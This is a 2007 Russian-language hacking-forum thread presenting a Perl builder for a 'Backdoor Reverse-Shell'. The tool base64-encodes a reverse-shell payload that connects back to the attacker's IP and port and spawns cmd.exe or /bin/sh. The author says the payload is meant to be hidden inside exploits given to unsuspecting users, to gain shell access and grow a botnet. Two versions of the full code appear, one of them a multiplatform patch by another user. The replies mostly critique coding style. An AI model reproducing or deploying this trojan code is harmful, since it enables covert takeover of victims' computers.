PDA

Просмотр полной версии : Заценяем релизик...


slider
06.03.2007, 15:39
Недавно начал учить перл я, в конечном итоге написал такой релизик...

Сообственно в основе лежит простейший back-connect shell...

Используя NetCat открываем у себя порт например 9999
nc.exe -lvvp 9999

Запускаем скрипт.. и следуем USAGE:

[Parameters] : X:\name.pl IP PORT file
[Example] : X:\name.pl 127.0.0.1 9999 exploit.pl

Передаём все параметры через коммандую строку нашему файлу...

Указываем свой IP адресс и порт.. далее файл в котором сохранится наш скрипт..
а сохраниться он в base64 ... (менее заметно.. и компактней)

Далее втыкаем этот скриптик в любой exploit.. и разумеется даём.. скрипт киддису который упорно просит вас похекать какойнить форум... etc

И.... о .. чудо... вы получили доступ к его cmd, а от cmd и до ftp недолеко...
а там и пополнить ботнет недолго =)...

P.S
Как я и говорил... это не супер релиз а релизик...
и что скрипт работает "без палева" тож трудно сказать...
вообщем юзаем отписываемся...


#!/usr/bin/perl

## C0d3d by slider
## Backdoor Reverse-Shell v1.3
## http://antichat.ru

if (@ARGV!=3)
{
print "\n" . '~' x 56 . "\n";
print "Backdoor Reverse-Shell \n\n";
print "\n" . '~' x 56 . "\n";
print "---USAGE:" .'-' x 47 ."\n\n";
print "[Parameters] : $0 IP PORT file \n";
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";
print '-' x 56 . "\n";
die("\n");
}

print "---USAGE:" .'-' x 47 ."\n\n";
print "[Parameters] : $0 IP PORT file \n";
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";
print '~' x 56 . "\n";

$IP=@ARGV[0];
$PORT=@ARGV[1];
$NAME=@ARGV[2];
$TEXT=

"open logg,\">expl~1.tmp\";".
"print logg \"use IO::Socket;\";".
"print logg \"use Socket; use FileHandle;\";".
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".
"print logg \"SOCKET->autoflush();\";".
"print logg \"open(STDIN,'>&SOCKET');\";".
"print logg \"open(STDOUT,'>&SOCKET');\";".
"print logg \"open(STDERR,'>&SOCKET');\";".
"print logg \"exec('cmd.exe');\";".
"close logg;";

use MIME::Base64;

$encoded = encode_base64($TEXT);
print " Injecting...\n";

open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
print base64 "system(\'start perl expl~1.tmp\');";
print base64 "system(\'del expl~1.tmp\');";
close base64;
print " OK...\n\n";

print "$encoded";

ОБНОВЛЕНО ДО v1.3

Helios
06.03.2007, 16:07
Ты одного не учел: а вдруг он из линуха сплойтенг запускать будет?

slider
06.03.2007, 16:10
Подстраивал под винду... и на ней же тестил...
т.к небыло возможности работать в никсах... можно конешн
изменить cmd.exe на /bin/sh
+ кой какие мелочи..
но нормально протестить я б несмог усё равно...

Digimortal
06.03.2007, 16:32
перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..

slider
06.03.2007, 16:35
оппа... спасиб... незнал... учту.. исправлюсь...

Spyder
06.03.2007, 18:06
Столько принтов конечно не нужно. толку от них?
Идея не нова, т к такие скрипты уже есть. Но за то что начал учить Перл и сделал что то работующее =))) тебе +

GreenBear
06.03.2007, 18:46
Главное начало положено, дальше главное не отступать =)
Удачи.

slider
06.03.2007, 19:07
Спасибо за поддержку =)

nc.STRIEM
06.03.2007, 19:15
perl умирает. учи python!

genom--
06.03.2007, 22:09
perl умирает. учи python!

отвечу цитатой одного чела которого вы узнаете "а вы все наркоманы"

пока его кто-то учит он жив

Helios
07.03.2007, 00:42
perl умирает

Странно, чего ж догда ActiveState Perl под винду продвигает?
Почему CPAN постоянно пополняется?
Почему знание администратором UNIX перла считается хорошим тоном?
Почему 80% всех сплойтенгов на милворме на перле?

KSURi
07.03.2007, 05:02
перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..
Ты на пути истинном ;)
Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде ~~~~~~~~~~~~~

slider
07.03.2007, 15:20
непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o

Digimortal
07.03.2007, 15:59
непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o
print "\n" . '~' x 56 . "\n";

slider
07.03.2007, 18:20
упс.... :'(

slider
08.03.2007, 17:34
ОК .. немного обновил...
теперь не будут лезть "левые окна" и вызывать подозрения..
и убрал задержку....

Helios
08.03.2007, 19:18
Немного подпатчил, теперь ммультиплатформенно)

Greetz: _slider_


#!/usr/bin/perl

## C0d3d by slider
## Multiplatform path by helios
## Backdoor Reverse-Shell v1.3.multiplatform
## http://antichat.ru

if (@ARGV!=3)
{
print "\n" . '~' x 56 . "\n";
print "Backdoor Reverse-Shell \n\n";
print "\n" . '~' x 56 . "\n";
print "---USAGE:" .'-' x 47 ."\n\n";
print "[Parameters] : $0 IP PORT file \n";
print "[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";
print '~' x 56 . "\n";
die("\n");
}

$IP=$ARGV[0];
$PORT=$ARGV[1];
$NAME=$ARGV[2];
$TEXT=

"open logg,\">expl~1.tmp\";".
"print logg \"use IO::Socket;\";".
"print logg \"use Socket; use FileHandle;\";".
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".
"print logg \"SOCKET->autoflush();\";".
"print logg \"open(STDIN,'>&SOCKET');\";".
"print logg \"open(STDOUT,'>&SOCKET');\";".
"print logg \"open(STDERR,'>&SOCKET');\";".
"if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}".
"else{print logg \"exec('cmd.exe');\";}".
"close logg;";

use MIME::Base64;

$encoded = encode_base64($TEXT);
print " Injecting...\n";

open base64,">$NAME";
print base64 "\$payload='$encoded';";
print base64 "use MIME::Base64;";
print base64 "\$decoded = decode_base64(\$payload);";
print base64 "eval(\$decoded);";
print base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
print base64 "system(\'perl expl~1.tmp &\');";
print base64 "system(\'rm -rf expl~1.tmp\');}";
print base64 "else {";
print base64 "system(\'call perl expl~1.tmp\');";
print base64 "system(\'del expl~1.tmp\');}";
close base64;
print " OK...\n\n";

print "$encoded";

Helios
08.03.2007, 19:24
ЗЫ:

Проверял в винде и во Frenzy

В никсах не забыть поменять конец строки на Unix-Like \n

slider
08.03.2007, 19:27
респект Helios!

genom--
09.03.2007, 21:09
if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее